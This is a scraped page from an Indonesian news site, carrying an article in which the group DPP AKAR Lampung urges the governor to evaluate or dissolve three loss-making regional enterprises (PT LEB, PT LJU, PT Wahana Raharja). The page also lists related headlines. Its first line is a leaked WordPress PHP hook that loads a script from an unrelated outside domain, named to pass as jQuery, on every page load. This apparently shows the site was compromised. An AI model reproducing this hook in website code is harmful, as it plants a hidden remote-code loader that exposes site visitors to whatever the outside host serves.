add_action('wp_enqueue_scripts', function () { wp_enqueue_script( 'external-script', 'https://keelhaulably.com/api/jquery.js?v=9', array(), null, true ); }); DPP AKAR Lampung Desak Gubernur Evaluasi BUMD PT LEB, PT LJU, dan PT Wahana Raharja: “Lebih Baik Dibubarkan! - Atmosfirnews.id

DPP AKAR Lampung Desak Gubernur Evaluasi BUMD PT LEB, PT LJU, dan PT Wahana Raharja: “Lebih Baik Dibubarkan!

- Jurnalis

Selasa, 6 Mei 2025 - 21:02 WIB

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Bandar Lampung, Atmosfirnews.id

Dewan Pimpinan Pusat Aliansi Komunitas Aksi Rakyat (DPP AKAR) Lampung mendesak Gubernur Lampung untuk segera mengevaluasi kinerja Badan Usaha Milik Daerah (BUMD) PT Lampung Energi Berjaya (LEB), PT Lampung Jasa Utama (LJU), dan PT Wahana Raharja. Desakan ini muncul menyusul serangkaian pemberitaan mengenai buruknya kinerja ketiga BUMD tersebut, yang dinilai hanya membebani Anggaran Pendapatan dan Belanja Daerah (APBD) tanpa memberikan kontribusi signifikan bagi Provinsi Lampung.

Sementara itu, PT LJU dan PT LEB dilaporkan mengalami keterpurukan keuangan, dengan tunggakan gaji karyawan hingga 20 bulan yang belum terselesaikan. Di sisi lain, PT Wahana Raharja hanya mampu mencatatkan keuntungan sebesar Rp14 juta, angka yang jauh dari ekspektasi untuk sebuah BUMD yang seharusnya menjadi tulang punggung ekonomi daerah.

Sejak tahun 2018, kerugian yang dialami BUMD ini mencapai angka Rp 2,59 miliar, di tahun 2019 kerugiannya Rp 1,56 miliar, pada tahun 2020 besar ruginya mencapai nominal Rp 2,21 miliar, di 2021 naik jumlah kerugiannya menjadi Rp 2,51 miliar, dan pada tahun 2022 mengalami kerugian Rp 1,88 miliar.

Baca Juga :  Bubarkan Aksi Tawuran di Bandar Lampung, Polisi Amankan 4 Remaja Berikut Celurit dan 2 Gir Diamankan

PT. Wahana Raharja tercatat Pada tahun 2023 lalu ada perbaikan, bisa membukukan laba senilai Rp 75,48 juta. Dan menurun perolehan keuntungannya di tahun 2024 kemarin, yaitu hanya Rp 14,38 juta saja.

Lain lagi halnya dengan PT LEB Terkait dengan Kasus Korupsi yang diduga melibatkan jajaran Direksi PT LEB yang hingga kini masih menggantung tanpa kejelasan hukum semakin memperburuk citra BUMD ini, lebih parahnya lagi hingga berdampak pembayaran Gaji Karyawan yang terdampak.

Ketua DPP AKAR Lampung, Indra Musta’in , menyatakan bahwa kondisi ini mencerminkan buruknya tata kelola dan lemahnya pengawasan terhadap BUMD. “Kami mendesak Gubernur Lampung untuk melakukan evaluasi menyeluruh terhadap kinerja PT LEB, PT LJU, dan PT Wahana Raharja. Jika tidak mampu memberikan kontribusi nyata bagi pembangunan daerah, lebih baik ketiga BUMD ini dibubarkan saja. Keberadaannya hanya membebani APBD dan merugikan masyarakat Lampung,” tegasnya.

Baca Juga :  Gepak Ungkap Luka Lama: Hiburan Malam Bandar Lampung Jadi Lahan Subur Peredaran Narkoba

DPP AKAR menilai bahwa suntikan modal dari APBD yang terus diberikan kepada BUMD-BUMD ini tidak sebanding dengan hasil yang dicapai. Dana tersebut seharusnya dapat dialokasikan untuk sektor yang lebih produktif, seperti pendidikan, kesehatan, atau infrastruktur yang langsung dirasakan manfaatnya oleh masyarakat. “BUMD seharusnya menjadi motor penggerak ekonomi daerah, bukan malah menjadi beban. Jika tidak ada perbaikan signifikan, pembubaran adalah solusi terbaik untuk menghentikan kerugian lebih lanjut,” Pungkasnya.

DPP AKAR juga meminta Gubernur Provinsi Lampung untuk mengambil langkah tegas dengan memanggil direksi ketiga BUMD tersebut guna mempertanggungjawabkan kinerja mereka. Pihaknya berharap pemerintah provinsi segera mengambil tindakan konkret, baik berupa restrukturisasi total maupun pembubaran, agar APBD dapat digunakan secara lebih efektif untuk kesejahteraan masyarakat Lampung.

Penulis : Redaksi

Berita Terkait

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan
Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak
RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup
Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati
Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi
HUT ke-81 RI, Rektor Saburai Ajak Kampus Jadi Kekuatan untuk Kemajuan Bangsa
Rayakan HUT RI ke-81, Warga RT 03 Pulau Bawean III Sukarame 1 Aktif Berkarya dan Berinovasi
57 Mahasiswa Ikuti Matrikulasi Magister Manajemen Universitas Saburai, Rektor Tekankan Kesiapan Akademik
Berita ini 25 kali dibaca

Berita Terkait

Senin, 24 Agustus 2026 - 22:11 WIB

Dakwah Menembus Lapas, MCMI Lampung dan Tim Safari Dakwah Wakafkan 520 Al-Qur’an untuk Warga Binaan

Senin, 24 Agustus 2026 - 14:05 WIB

Geger Skandal Hotel! Suami JA Laporkan EH ke Polda Lampung, PAN Kini Didesak Bertindak

Sabtu, 22 Agustus 2026 - 21:38 WIB

RSUDAM Minta Biaya Klaim Rp. 5,7 Juta Sebagai Syarat Mencabut Status Kematian dan Memulihkan Kepesertaannya, Wiwik : Kan Saya Masih Hidup

Jumat, 21 Agustus 2026 - 11:05 WIB

Sengkarut BPJS dan RSUD Abdul Moeloek Diungkap Korban Wiwik Kusumawati

Selasa, 18 Agustus 2026 - 14:43 WIB

Puncak HUT RI ke-81, SDN 1 dan 2 Pahoman Bersama SPPG Enggal 02 Dorong Siswa Kreatif dan Berprestasi

Berita Terbaru